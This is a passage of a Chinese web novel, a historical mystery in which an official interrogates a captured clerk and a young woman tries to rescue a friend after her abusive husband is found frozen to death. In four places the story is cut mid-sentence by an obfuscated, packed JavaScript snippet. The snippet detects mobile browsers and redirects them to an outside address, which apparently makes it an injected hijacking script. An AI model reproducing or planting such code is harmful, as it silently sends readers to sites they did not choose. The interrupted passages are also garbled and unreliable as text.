方湛料感效果已到,微微欠身,单肘支于扶手上,边环视着暗室环境,边淡淡开口:“不过呢,本官不缺功绩,区区县令性命也不值得我这个天降的京官为寻真凶而将云州搞得人仰马翻,至于州府审案的那笔糊涂账嘛,至少表面上看起来公正合理,能交差。” 他忽然看向对方,似乎是想起了一件饶有趣味的事:“不如你我做个交易吧!” 几日来,尤谨几乎水米未进,再加上严刑拷打,身心早已接近崩溃的极限。方湛的话虚虚实实、绕来绕去,他的判断思考已然跟不上了,如同一只蒙了眼的牲口,只能被牵着鼻子走。 “把这个给他喝吧。”方湛指了指桌上他方才未接的茶盏,跟兵卫示意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828703|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 兵卫得令照做,尤谨颤着手接过水一饮而尽,由于着急还呛了几声。喝完水,他也想通了一件事,眼下母亲暴露在外为质,他在官府的倚靠亦沦为阶下囚,他如今就是案板上的鱼肉一一任人宰割。 他将头重重磕在地上,认命地等待对面座上人接下来的摆布。 方湛估摸着火候差不多了,开口道:“既要做交易,双方就得各有诚意。不瞒你说,叶阳县一案,本官无心推翻重审。县令于江身死,是他身为一方父母官却为害百姓的恶果,在押的几个乱民头目,因目无法纪致人殒命,按律当斩。至于你,胥吏尤谨,趁狱守空虚畏罪潜逃——” 短暂的停顿将地上人的心提到了嗓子眼儿。 “若是对外说你成功逃脱了卫所军的搜捕……多少有损本官脸面,”方湛若有所思,“不过,也可以宣称你逃亡路上不幸溺水而亡,如此两头都好交差,至于你在府衙里的那个‘哥哥’,我随时可以放回,并当作这一切都从未发生。” “你放心,在此期间,我会专门派人保护你母亲安全,等此间事了,你可以新的身份带母亲去外地安家。” 尤谨听到这些诱人条件,似乎已经闻到了外面久违的自由气息,可忽然却想起一事,他稍稍抬身,犹豫问道:“那张金龙呢,大人能确保他再也找不到小的吗?” 看他对张金龙避如蛇蝎的样子,方湛嘴角微弯:“那得看你是否乖乖听从本官的话了。” 尤谨先是一愣,随后磕头如鸡啄米:“只要大人肯赏小人一家生路,您让小人做什么都行!” 火光晃跃,方湛笔挺的身影投落在墙上难免有些捉摸不定。 那一副清俊的面容隐在暗影之中,他神情晦涩,开口冰冷:“很简单,你只需将你所知的一切如实告诉我即可。” — 待方湛走出暗室时,外头天色已暮。 裘明紧随其后,坚持要护送他回府衙馆舍。 冬夜虽寒,但这晚却胜在无风。若是抬头,还能在晴好的暮穹中看见点点繁星。 坊间白日里的死寂已被一片热闹喧杂取代,不算宽敞的巷子里人来人往,有下工回来的,亦有刚睡醒才出门活动的。 临街靠巷的搭棚底下挂起灯盏,扯面的、卖汤的、打酒的还有聚赌的依次排开下去,竟将冬夜衬得没那么苦寒了。 方湛与裘明穿过一条条窄巷向北而去,待到身边行人稀少,裘明四下确认无人留意后,满腹疑问终于憋不住了。他随行在方湛近后方,俯首低问:“大人,那罪吏在州府内的同伙当真已经被暗中拿下了?” 方湛边走边道:“裘校尉可是玄英卫过去十几年里最年轻的司都校尉,不会连这点使诈的手段都看不出来吧。” “大人,”裘明挠了挠耳后,为难吞吐,“这话任谁说出来我都能想到是在诓那罪吏,唯独您……看起来……不像……” 唯独方湛看起来一派霁月清风、端儒谨正,着实不像会使出阴险法子、玩弄人心之人。 奈何裘明是个大老粗,一时搜肠刮肚找不出合适的言语。 暮色沉沉,一轮残月冷冷清清地挂在墨蓝色天幕边际。方湛抬头远眺,只觉那爿月看着近在咫尺,却越行越远,永远触不可及。 看着看着,他忽然轻笑一声,似是对裘明讲,又像在自嘲自讽:“日后你就知道了,本官表里不一的事,可不止于此。” 15. 打探 裘明入玄英卫不过四年,与朝中文臣接触不多,而仅有的几次打交道又给他留下了文臣多敏感、说话喜阴阳的印象。 因此方湛的那句自嘲,落入裘明耳中难免使其一惊,只以为自己方才多嘴,得罪了眼前这位圣上的宠信。 他慌忙告罪:“卑职并没有说大人表里不一的意思.....”只是习武之人不善言辞,支支吾吾说不出个所以然。 方湛回首看见他的异样,便明白自己的话使人误会了,无奈道:“裘校尉不必多心,方某一向说话爱开玩笑,你还是早些适应为好。” 裘明一头冷汗,中气十足地回了个“是”,可下一刻又觉得哪里不太对。正想再找补几句,却抬眼瞧见方湛已回身走出去很远了,只好快步跟上。 二人又走了不多时,街两侧的屋宇渐渐变得方正高阔,往来行人中也出现小轿或是马车。裘明认出他们已经走至另一片较为繁华的坊区,便提出要给方湛找辆马车,却被后者制止了。 方湛驻步在一家酒舍前,此刻店里尚未打烊,有隐约琴声从透着光晕的二楼轩窗中飘出,不及落至街上,就被对面一搭棚底下的热闹喧杂声给盖了过去。 棚下挂着两盏风灯,灯下一口热气腾腾的大煮锅旁,人们围锅而坐,边吃边笑着互相攀谈,那锅中的热气香味散在冬夜中格外诱人,时不时吸引着过往行人。 “裘校尉,”方湛看了眼街对过的吃食摊,转头对裘明吩附道,“今日那小吏招供的东西不少,还要劳烦你回去尽快整理出一份供状,记住,私下里交给我就好,不必让州府知道。” “是。”裘明应下,随即又迟疑问道:“大人,州府的案子咱们当真不再推翻重审了么?” 方湛未直接回答,他环顾四周,只见寒夜中的路人行色匆匆,无人留意这边,便淡淡反问了句:“裘校尉认为,圣上派你、我和冼少监千里迢迢来到云州,是为了什么?” “自然是为了查明叶阳县县令之死的真相,平抑民乱,保云州安宁。”裘明一板一眼道。 方湛静静凝视了他半晌,试图从那张被密须盖住一半的脸上看出点装傻充愣的端倪。 片刻后,他微微叹气,此行任务如此之重而圣上偏给他安排这么两位——一个八成早就不记得自已来云州是干什么的了,一个武艺虽高强,目前看来头脑缺了些变通。 “你说的倒也没错,毕竟敕谕令勘上就是这么写的。”方湛点头,随后暗忖了片刻,终还是提点暗示道:“不过,圣上对云州的关心可不止于此。” 裘明两条浓眉拧在一起:“那圣上还关心什么?” 方湛四下看了看,随后抬手朝西一指。 这次裘明蓦地反应过来了:“西山银矿?” 方湛微微颔首,但考虑到其中牵扯过深,他也只能点到为止:“总之,此案若是推翻重审,只会打草惊蛇,反而误事。眼下最重要的是尽快捉拿张金龙,他背后的人和事才是我们真正要搞清楚的。” 他略作停顿,继而安排道:“犯人母亲那边,先前是我的人在盯,明日开始就由玄英卫负责,另外再派人手去秘密追查张金龙的下落,不过这几日我会着人放出罪吏在城内的消息,引他现身,一旦出现,即刻拿下。至于州府里的那个内应……” 他若有所思:“想来他的所作所为,不止是放走一个罪吏那么简单,不过证据未明之前,最好先按兵不动,派人盯紧他的一举一动,日后你我与他在府衙见面还需不露声色为好。” 裘明点头称是,随即问道:“那张金龙的东家刘百盛呢?” 刘百盛是矿监田青的人,而田青正是成乾帝身边最受信任的大当许采忠的爱徒。 今日一审,方湛似乎已经拨开云雾远远看清了对岸的场景,可一低头,脚下仍是荆棘密覆不见去路。 他略微沉吟,淡淡道:“这个刘百盛,就由本官亲自会一会。” 事已说定,方湛便让裘明先回去,自己则依旧立于酒楼门侧,默默看着街对过,似乎在等待谁。 街边吃食摊上围坐着一圈布衣食客,其中一个略微瘦小的身影正与旁边人说笑着,忽然余光掠到这边,扭头仔细一看,先是一愣,随后埋头匆匆扒完碗中吃食,站起身过街小跑而来。 “公子可是专来寻我的?”来者躬身作揖,说话声音青涩明朗,模样秀气,看起来只有十四五岁,这便是方湛自入京一直带在身边的书童斐然。 此次赴云州,方湛并未与他同行,而是让其混入一商队,先行入城。他料到此番在云州行事或许会受到掣肘,便安排斐然暗中待命,日常就住在他身后这家酒舍里。 果不其然,抓获尤谨后,斐然便派上了用场。他扮作从外乡来云州做布匹生意的伙计,到尤谨居住的坊巷挨家挨户串门子,假借收购棉线纱线,趁机打听情况。 斐然本就机灵善言,再加上清秀讨喜的长相,轻而易举就打入老太太小媳妇的内部,迅速搜罗到方湛需要的信息。 按照约定,斐然有什么消息可于酉时左右去长顺坊一个陆姓大夫的坐诊医馆,那个时辰方湛一定会在。因而此刻他看着突然出现在此的公子,一时有些摸不着头脑。 方湛见他一脸疑惑,解释道:“路过此地,恰巧看到你,正好也跟你知会一声,小吏母亲那边就不用辛苦去盯了,以后由玄英卫的人接手。明日你便搬回州府馆舍,若有人问你此前行踪,就称一入城便去帮我寻画了便是。” 斐然了然称是,随即又问:“公子下一步有何安排?” “接下来你就专心打探那副画的消息吧。自到云州,我几次去华严寺递拜贴,但闻觉前辈都不愿见我。”方湛颇有几分无奈。 “公子不必泄气,凡大家多少都有性情独僻之处,更何况闻觉法师乃超脱世外者,我等贸然上门,碰钉子也算正常。”斐然安慰着,又开朗道:“明日我再去替公子递一次拜帖就是。” 方湛颔首,目光却落在酒舍门口进出的行人身上,不知所想。 斐然以为他还在烦忧寻画一事,宽慰道:“公子所寻之画只在十几年前的上京昙花一现,随后便杳无音讯。听翰林画院的蒲画直说,如今可能知晓此画的,除了当年在上京游历的闻觉法师,再就是已故韩画直的那本《屿阔杂记》了。若闻觉法师不肯见我们,咱们就去韩家借此书一阅,说不定能有所发现。” 《屿阔杂记》是前画直韩归生前所撰的一本手记,不仅将所有经其手揭裱修复的书画一一记录在册,还收录了其时上京一些有名的书画雅事。 方湛所寻之画虽在当下无人问津,但十几年前却是风头无二的名作,想来被韩画直记录下来的可能性很大。 只是得知此消息时,他们第二日就要启程离京,尚未得及去韩家探问。 “听说韩画直的次子韩立煜就在云州为官,公子不若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828704|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趁此机会问问韩大人此书现在何处?”斐然提出建议。 “不必,”方湛不假思索,断然道,“韩画直已仙逝,《屿阔杂记》作为其遗物被带到云州的可能性不大,问了也无用。” “对了!公子的话倒是提醒了我,”斐然如梦初醒,惊喜道,“公子可还记得,当年在咱们书院藏书阁做事的阿粲姐姐?她就是韩画直的孙女嘛,我清楚记得,她那时说,韩家只有她承袭了揭裱修复技艺,想来那本书八成也传给她了,公子去信一问便可知。只是阿粲姐姐后来嫁去哪儿来着.…..” 斐然正抓耳挠腮地回想着,忽抬眼瞥见方湛两道幽幽的目光,莫名后背一凉。后者淡漠开口,遽然一问:“我们与她很熟吗?” 紧接着这句冰冷反问,他收回目光,若无其事地说回到第一个法子:“据说闻觉法师在云州有一位俗家弟子,别号‘云三知’,你替我去打探此人身份及所在,若闻觉法师执意不肯见我,便从他的弟子入手。” “哦,晓得了,不过公子当真不考虑……” “夜色已深,”方湛抢白道,“你该早些回去歇着了,明日太阳下山前,我在馆舍等你消息。” 说罢,他便转身,朝着天边那枚薄玉似的冷月阔步而去。 —— 这夜斐然冥思苦想,可到底也没回想起来,当年那个叫阿粲的小姐姐离开书院后,究竟嫁往何处去了。以至于翌日醒来,惊觉日上三竿,连饭都来不及吃就跑出去办事。 就在斐然苦苦打听“云三知”到底何许人也时,韩穗也在忙着探听别人。 只不过她这边的动作更快些,还不到用午食的时辰,一早出去的通山就“收工”回来了。 此刻韩穗正坐在她日常做揭裱的暖阁里,双肘支于桌案上,两手托腮,若有所思地听着通山回禀探来的消息。 “昨日沈参领一事最后算是不了了之,御史大人叫他回军中后再领罚,说眼下办案要紧,所以不作严惩,只叫他将功补过。” “哟,还以为咱们这位御史大人是什么厉害的狠角色,自己手下犯错就轻拿轻放,如此看来,不过寻常货色。”韩穗直言自己的不屑,这番与之往日沉稳截然相反的言语,听得先秀与通山眼皮子直跳。 韩穗随即又问:“那他来云州后的这几日都做什么了,可有重审犯人?可对州府老爷们表示过什么不满?” “都没有,”通山答道,“据说御史大人整日都在看卷宗,闲暇时就去华严寺求见闻觉法师,可每次都被拒之门外。” “求见闻觉法师?”韩穗直犯嘀咕,他不是从不喜书画这等附庸风雅之事么? “算了,”她迅速压下揣摩对方的念头,“咱们不管其他,只要他还没开始对州府发难,父亲就有机会提出回京一事,你可把我的意思转告给父亲了?” 通山忙确认称是。 韩穗本想昨晚父亲下值班归家后亲自对他说的,不料昨日天刚擦黑,秦风就回来报,冼少监突然在醉云天设宴,邀请州府诸位老爷前去赴宴。 韩立煜不好推却,便也跟着去了。后因宴席散得太晚,直接就近歇在了衙署值事房。 可韩穗却等不起了,毕竟此时的云州,已经多了三位她得罪不起却已结结实实得罪透顶的人物。这才一早就派通山去找父亲传话,顺便打听打听那位御史大人的动作。 目前看来,好像一切还来得及。 16. 品兰(一) 既起了回京念头,韩穗再也闲躺不住,叫来宋妈一起商量拟定回京前需做的事项。 宋妈大半辈子都待在上京,对云州的生活有各种不惯,一听要回京了,自是欢欢喜喜,纵有千头万绪的杂事,不出一刻就条缕清晰地理好,随即马不停蹄张罗人手去了。 庶务杂事皆有宋妈负责,韩穗便思量起临别辞行的人情世故来。 不过她在云州的人际往来极其简单,除了师父闻觉法师、莫云斋的老板,再就是她在此地唯一的密友郭品兰,及其父亲郭荣。 郭家父女是她的救命恩人。 一年前的那个暴雨夜中,若不是他们路过发现马车遭劫,又恳求随护商队的刀客出手相救,只怕自己早成枯骨一堆。 那晚,行凶者被刀客一击毙命,她跨过肮脏的尸体,不顾雨水浇注,踉跄爬下马车朝前奔去。待她借着轰鸣电闪看清惨死在车辕上的白叔公与车夫,再也支撑不住,双腿一软,不省人事地晕死过去。 再醒来时,她衣着干净地躺在一家客栈里。 商队为赶路早已启程,可郭家父女却因不放心她而主动脱队留下,帮她报官,陪她应对传唤,又不嫌拖累地将她与先秀一路带到云州。 父亲韩立煜感念恩德,曾想予他们财物或便利,却都被拒绝。 为表谢意,韩穗时常跑去郭家在城南开的书画古玩铺子古宝阁,发挥自己所长,今日修修书,明日补补画,尽己所能地提供些帮助。 品兰温柔娴静,许是人越缺什么就越是为之吸引,韩穗只觉自己与她性情相投极了,再加上二人皆好书画,一来二去就成了同入同出的知交好友。 转折却发生在半年前。 是年入夏,父亲韩立煜忽有中风之迹,右半身微发麻症,韩穗四处求医,心焦不已,日日侍奉在旁。直至出夏伏,父亲全然康复,她这才有心思去做旁的。 待她出门再去找品兰时,昔日好友却态度大变,冷淡疏远至极。韩穗只当是自己消失太久,惹她生气了,可开口解释不到几句,对方就称忙送客。 韩穗只好悻悻回家,正想如何再去赔罪,不料第二日就听街坊议论,说那位阉党狗腿子刘百盛是日大婚娶亲,而他娶的姑娘,不是旁人,正是南城古宝阁郭掌柜的女儿郭品兰。 妇人闲扯唏嘘,不过是旧日传闻,类似刘百盛曾折磨死了几任妻子,家里又置了多少房小妾。但传至韩穗耳内,皆如五雷轰顶。 她来不及回家套车,拔腿就往南城跑。跑到鹊英大街时,刚好撞见迎完亲往西去的队伍。 烈日耀烁在猩红的花轿上,韩穗不顾一切地追跟着嘶喊品兰的名字,可回应她的只有嘲哳刺耳的吹打乐声,以及看热闹路人的指指点点。 衣衫被汗水浸透,她无望瘫坐在一处墙角下,她不信。 她去古宝阁找到哭红双眼的郭父,事已至此,后者也无可隐瞒,拿出一张被团攥得皱巴巴的欠条。 欠条是利昌赌坊送来的,三千五百两的字迹上印着血淋淋的画押,欠债人“郭大牛”的名字歪歪扭扭署在其后。 韩穗这才知道,品兰除了与父亲相依为命以外,家中还有个自幼无父无母的堂弟郭大牛。 她在家侍疾这段时日,吃喝嫖赌样样都沾的郭大牛欠下利昌赌坊巨额高债,刘百盛扣了人,亲自上门讨债,要挟郭家要么把铺子让出抵债,要么把女儿品兰嫁给他。 品兰不忍将她父女二人打理的心血拱手让人,瞒着父亲,赶在最后期限找到刘百盛,应下这门龌龊婚事。 刘百盛恶名远扬,韩穗又是官家小姐,品兰不希望好友被牵扯其中,这才隐瞒甚至冷淡疏远。 然而她太过天真善良,殊不知委身恶人并未换来全家平安。郭大牛虽从赌坊放出,却不知所踪,古宝阁亦在不久后因陷入买卖纠纷,生意停滞,一度关门。 而品兰自从入了刘家便杳无音讯,就连郭掌柜也见不到其人,只能从寥寥无几的书信上得知,女儿还活着就是。 期间韩穗也想过各种办法试图与她联系,可刘家似铁桶般无隙可乘,只听里头下人传说,刘员外新娶的那位夫人不听话,早己被囚禁。 及至叶阳县事发,乡民状告刘百盛侵吞田产,她还以为终于等到扳倒对方的一日,可最终官府不过高高举起又轻轻放下。 姓刘的背后是能与朝臣分庭抗礼的宦党,不似白家那等空有架子的破落户,一州之长尚不敢与之叫板,她赤手空拳又如何能救出品兰? 那日在旧货市场,她一时冲动给姓刘的砸破了相,虽说是出了口恶气,可事后难免惴惴不安,便叫通山留心打听对方的一举一动。 可刘百盛这几日好似人间蒸发,再未在城内露过面,就连此前因其入狱而关掉的赌坊也不管了。韩穗暗忖,叫嚣取他性命的赵二又因械斗蹲牢去了,那他想躲的,很可能就是刚入城的巡按御史。 一条毒蛇,只要它还有所忌惮,就有机会掐住其七寸。 哪怕是借势,她也必须要在离开云州前再见品兰一面。 …… 是日午后,高悬中天的冷日忽遁入层层云翳之中,不多会儿,洋洋洒洒的雪片扑满整个庭院。 屋外落雪,屋内人苦坐思索,可直到入夜,韩穗都没想出一个混入刘宅去见品兰的万全之策。 外头的雪却越下越有瘾似的,到了深夜竟如粉如沙,被朔风狂卷起飞扬着,扑簌簌拍到花窗上,猫爪挠似的,惹得她一夜时睡时醒。 翌日,韩穗自是起了个大晚。她起床找不见先秀,便自己梳洗一番,恹恹地推门出去,发现家中一个人影儿都无,只有厚厚雪被拥裹住屋宇庭院,以及打着转儿的北风呼啸而过。 滴水成冰的天气,她拉紧披袄,快步走向正冒着袅袅炊烟的小厨房。 谁知往常如同长在厨房里似的榆娘,今日却罕见地不在。灶膛里留有余火,上头扣着蒸笼,飘出丝缕热气。揭开屉盖,里头是一碟枣饽饽并一碗粳米粥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828705|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,应是给她留的朝食。 韩穗方取了垫布去端粥碗,便听见院子里传来一个兴奋的喊叫声。 “宋妈,宋妈!”是榆娘的声音。 “我跟你说,出大事了!北城墙根雪地里死人了!” 下一刻,哐啷一声厨房门被推开,榆娘火急火燎地跑进屋,却发现宋妈并不在,只有小脸煞白的韩穗站在灶旁,看起来很是不妙。 韩穗稳了稳心神,问道:“什么人死了?怎么回事?” 榆娘许是看她脸色不好,突然改口,硬说她听错了。 韩穗又不是三岁小孩,不依不饶地追问,榆娘则支支吾吾,可哪里能招架得住她,末了长叹一口气,索性从头说起来:“将才我去后街张家还咸菜坛子,听张家大儿媳说,她今日一早送儿子去私塾,回来时经过北城内门,见一堆人围在墙根边上,觉得不对劲,就上前看出了啥事,一看不要紧,雪地里冻死个人!” 云州此地物产还算丰饶,百姓温饱并非难事,但仍不乏无家可归者露宿街头者,数九寒天,有人被冻死在郊外不算罕见。 然而榆娘如此激动,只因这次死的可不是什么乞丐流民,而是众人都未曾料想到的一个人。 她倒了碗温水,咕咚咚一饮而尽,再开口无限唏嘘:“真是世事难料啊,姑娘你定猜不到死的是谁,说起来还跟姑娘交好的郭家有关哩!” “郭、郭家?……谁?”韩穗霎时心惊肉跳,语不成句。 “就是以前跟你时常来往的那个郭姑娘,她不是嫁给那个阉人的干儿子刘百盛了么,姑娘还记得吧?” 韩穗只觉双腿一软,不由扶着灶沿缓缓蹲下。她点头,声音虚浮:“记得。” “死的就是他哩!谁能想到,从前在云州城横着走的刘员外,居然就这么在荒郊野外冻死了!” “刘百盛死了?”韩穗又歘地站起身,瞠目结舌。 “可不是,”榆娘将张家儿媳当时的所见所闻细细说来,“据说是一个进城卖菜的乡下人最先发现的,发现时人早就被冻得邦邦硬了!大家伙都猜,姓刘的定是昨夜喝多了酒,醉倒在雪地里躺了一晚上,活活冻死的。啧啧,喝酒害人啊,你说过去在云州,提起刘员外谁不惧怕三分,又是什么宦官跟前的红人,又是什么家财万贯的,最后落得这么个下场,要我看就是恶事做尽,报应哩。” 她是个闲不住的利落人儿,嘴上说着,双手已经挽起袖子淘洗干菜去了。“姓刘的一死,你那个小姐妹就成寡妇了,也不知道她这是有福呢还是没福,虽说往后不用再伺候那一脸横肉的了,但寡妇的日子也不好过啊,尤其是她也没个娃,恁大的家业,最后落到谁手里都不一定呢......” 说起寡妇,榆娘感同身受,不由回忆起当年丧夫后如何带着幼子通山四处求生,从冬日给人洗衣,到在酒楼里做帮厨,终于絮说到来韩家做工时,盆里的干菜也淘洗好了,因觉着屋里太过安静,回头一看,韩穗早已不知何时走人了。 17. 品兰(二) 天阴得很,风亦刮得紧。 卷集着雪粒子的凛风拍在脸上,叫人睁不开眼,可这仍挡不住云州城人跑到街上四处打听八卦的激情。 一传十、十传百,不过半日,刘百盛的死已迅速成为街头巷尾的热议。 当韩穗在胡同口找到先秀时,后者正与几个大婶入神地听一卖货郎讲述刘百盛尸体被人发现时的场景。 她无视众人的聚精会神,硬挤进去,贸然开口:“刘百盛死了,那他刚娶的那个夫人呢,没去收尸么?可有人看到她?” 卖货郎正讲得起劲,乍被人打断,多有不悦,待瞧见问话人是个清丽姑娘,瞬间气消,绘声绘色的劲头提得更足:“哎哟,还真没人看到他那位夫人露面。不过我们货郎走街串巷,消息灵通哩,你们有所不知,别看刘百盛在云州横行霸道,可背地里,他那方面早就不行了,这才把娶回家的夫人小妾关锁起来,用各种手段折磨,不听话的就往死里打!听说新娶的那位夫人性子刚烈,说不好早被打死了......” “不可能!”韩穗还想再说什么,却被先秀急急拦住,拽回家去。 回到屋内,先秀安抚道:“知道姑娘在着急什么,通山一早听说此事,立即就去城西刘宅了,想着趁刘家出乱子,说不定能打听到品兰姑娘的消息,姑娘别急,且在家等着就是。” 韩穗沉思片刻:“等不了了,立刻叫华叔备马车,咱们现在就去南城郭家。” 见先秀反应不迭,她边换厚衣边解释道:“眼下刘百盛一死,就是帮品兰脱身的最好时机,但按照大胤律例习俗,丈夫死后,其妻妾的去留需先遵从夫家的意愿,可刘家能有几个心术正经的人,还有那个刘母,可是当街踹死人的悍妇!方才你也听到了,品兰现下很可能身不由已,我们若是不第一时间去救她,只怕会凶多吉少。” 她顿了顿,又道:“但我贸然去刘家要人,师出无名,所以得先去找郭叔父,假作品兰的娘家人,结伴前去,行事更便宜些。” 此时先秀亦明白过来,取一件挂兔毛里的披风给韩穗系好,问道:“姑娘可是已想好要人的法子了?” 韩穗摇头,叹一口气:“路上再想吧。” 二人穿戴好厚衣风帽,刚推门出去,便见通山带着一个衣着单薄的女子,从韩家后门方向匆匆而来。 至前,那女子愣愣望着韩穗,泪涌而下,扑通跪进雪地,颤着音哭道:“韩小姐,求求你救救我家姑娘吧......” 与对方相视的片刻间,韩穗已回想起此人是谁,讶然问道:“小桔?” 小桔正是品兰身边的丫鬟,可她以前明明是个胖乎乎的姑娘,如今怎消瘦憔悴成这个样子! 韩穗忙将她从雪地里拉起来,急问:“品兰出什么事了?” 小桔极力克制着呜咽,眼中却藏不住惊惧:“......姓刘的死了,刘家忽然来了好些人,把姑娘绑起来,不知带去哪儿了,我也想跟着去,他们不让,还打我......” “那你是怎么逃出来的?”韩穗问。 “姑娘和我一直被锁在一个院子里,他们把姑娘带走后没人管我,院子也不锁了,我便趁乱跟着一个偷了东西跑路的嬷嬷,从角门混出来,路上遇到通山,就求他带我来找小姐......” 韩穗看了眼站在小桔身后的通山,后者点头。 她迅速解下披风,裹到因寒冷与恐惧交织而颤抖的小桔身上,平稳开口:“好姑娘,你已经做得很好了。方才我们听说刘百盛死讯,正想去找郭叔父商量救品兰脱身一事,现在看来,怕是来不及了,我想让你再跑一趟,把这些情况告知郭叔父,让他速速至刘家与我汇合,你可还有力气做得到?” “小姐放心,我能做得到!”小桔一把抹去脸上泪痕,想把披风推还回去,却被韩穗牢牢摁住。 她继续安排:“先秀,你速去府衙找父亲,就说我已去刘家要人,但品兰被歹人绑走,情形不明,叫父亲想个由头带些衙差去给我当援手。” “可是……” “你不用担心,有通山陪我去刘家就够了,万一有事他能帮我硬抗会儿,但只凭咱们几个,是对抗不过刘家的,必须得让官府的人介入,所以你的任务最为重要,耽误不得。” 她知道先秀在担忧自己,可越是情况危急之时,就越要分清轻重缓急。 “是,”先秀亦不再犹豫,“那我再去给姑娘拿件披风。” 韩穗道:“记得取那件月白素色的来。” 当下事已说定,几人便分头行动。 - 是日凛风似猛兽,呼啸着穿街而过。 韩穗坐在马车内,看着路边一棵棵秃树被风吹倒向一侧,发出声响如同凌空抽鞭。 多年后,她偶然回想起这日朔风兜面让人睁不开眼的滋味,总觉得命运似乎早己在暗中谱好。 世事推移正如齿轮搭转咬合,有时只是细微的错差,也会彻底改轨所有走向。 但此时的她,尚行路在成乾十六年的冬日里,满心只有品兰的安危,可偏偏道上积雪过厚,马车行进得着实艰难,快到城西时,那拉车的老马干脆喷着白热鼻息一动不动了。 韩穗当机立断,弃车而行,待涉雪奔至刘家时,鞋袜早已濡湿。 她顾不上脚底湿冷,拨开围聚在胡同里看热闹的人群,挤到最前头。只见几个壮汉正肩扛一口黑亮的新棺往刘宅大门内进,在一旁吆喝接应的几人皆腰系白麻,应是刘家的下人。 就是现在。 韩穗在脑海中快速调动关于白家那位前婆母哭天抢地的回忆,随后照自己的大腿内侧就是狠狠一掐。 “刘爷啊刘爷,您怎么走得这么突然哪——” 通山被韩穗这突如其来的转变吓一激灵,随即猛然回神,也跟着哭丧起来。 二人边走边悲泣,硬着头皮往大门里进。 “站住,干什么的?” 果不其然,他们被一护院摸样的伸棍拦住。 通山上前,吸溜着鼻涕,抽噎道:“哥哥不认得我们了么,这位是咱们刘爷的夫人郭氏的娘家嫂嫂啊,听说刘爷过世出事,特来吊丧的。” 韩穗用帕子拭着因大腿肉吃痛而流下的泪滴,凄怨地睁大眼,目不斜视地望着那护院。 寒风中,她的鼻头与眼圈微红,越发衬得脸白如玉、凄楚动人,看得对方一时怔神。恰好此时棺材抬进去一半,抬棺人嫌他们几个在门槛处碍事,呛声催促。 那护院收棍,不耐烦道:“快进快进,别在这儿碍事。” 顺利进入刘宅,二人绕过影壁,沿游廊来到正堂庭院。 此时已过正午,刘百盛的尸体早已被抬回刘家,就停在堂下。 韩穗远远瞧着那盖尸的白布,暗道一声晦气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828706|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随即放眼观察,在一众手忙脚乱布置灵堂的奴仆中,锁定一位正高声吩附下人采买出丧仪具的长脸老妇。 那妇人穿着普通,却摆出当家做主的气势,看似严肃,实则那双三角眼八字眉间精神奕奕,毫无骤失亲人的悲痛。 此人绝不是刘母。 韩穗又狠掐自己,趁着泪盈满眶奔上前去,一把握住对方双手:“您就是刘家老夫人吧,老夫人节哀,逝者已去,您可千万保重自己的身体!” 对方抽手:“你认错人了!” “啊?”韩穗故作惊讶,“妾看您稳而不乱,全然当家主母的风姿,还以为您是刘家老夫人,实在冒犯,还望见谅。” 千穿万穿马屁不穿,那老妇顿时和蔼可亲:“唉,我是哪门子夫人啊,不过是刘百盛的舅母,乡下人罢了,听说刘家出事,特赶来帮忙的。幸亏我来了,百盛他娘经受不住打击,早就病倒了,家里又没个顶事的,这里里外外全靠我操持。也别怪我认不全刘家的亲戚,敢问姑娘你是哪位?” 原来是刘老娘的娘家弟妹。韩穗不动声色,柔柔施礼:“妾是刘员外夫人郭氏的嫂嫂,特来吊唁。” 对方闻言面色一变,表情极其不自然道:“哎呀,吊唁啊,你来早了,来早了!你瞧,那边丧棚还没搭起来呢,你先回去……” 韩穗观其躲闪慌张的目光,心下有了数。她掏出一粒碎银,塞进那老妇手中,又将她拉至一处偏僻角落。 “舅夫人有所不知,妾是特意早来的,就想跟你们刘家报个信儿,待会儿我那公爹,也就是郭氏的父亲,就来上门要人了,他想将郭氏接回家去。也不怕您笑话,郭家如今不比从前阔气,多一个白吃白住的,叫妾这个操持家计的难上加难啊!” 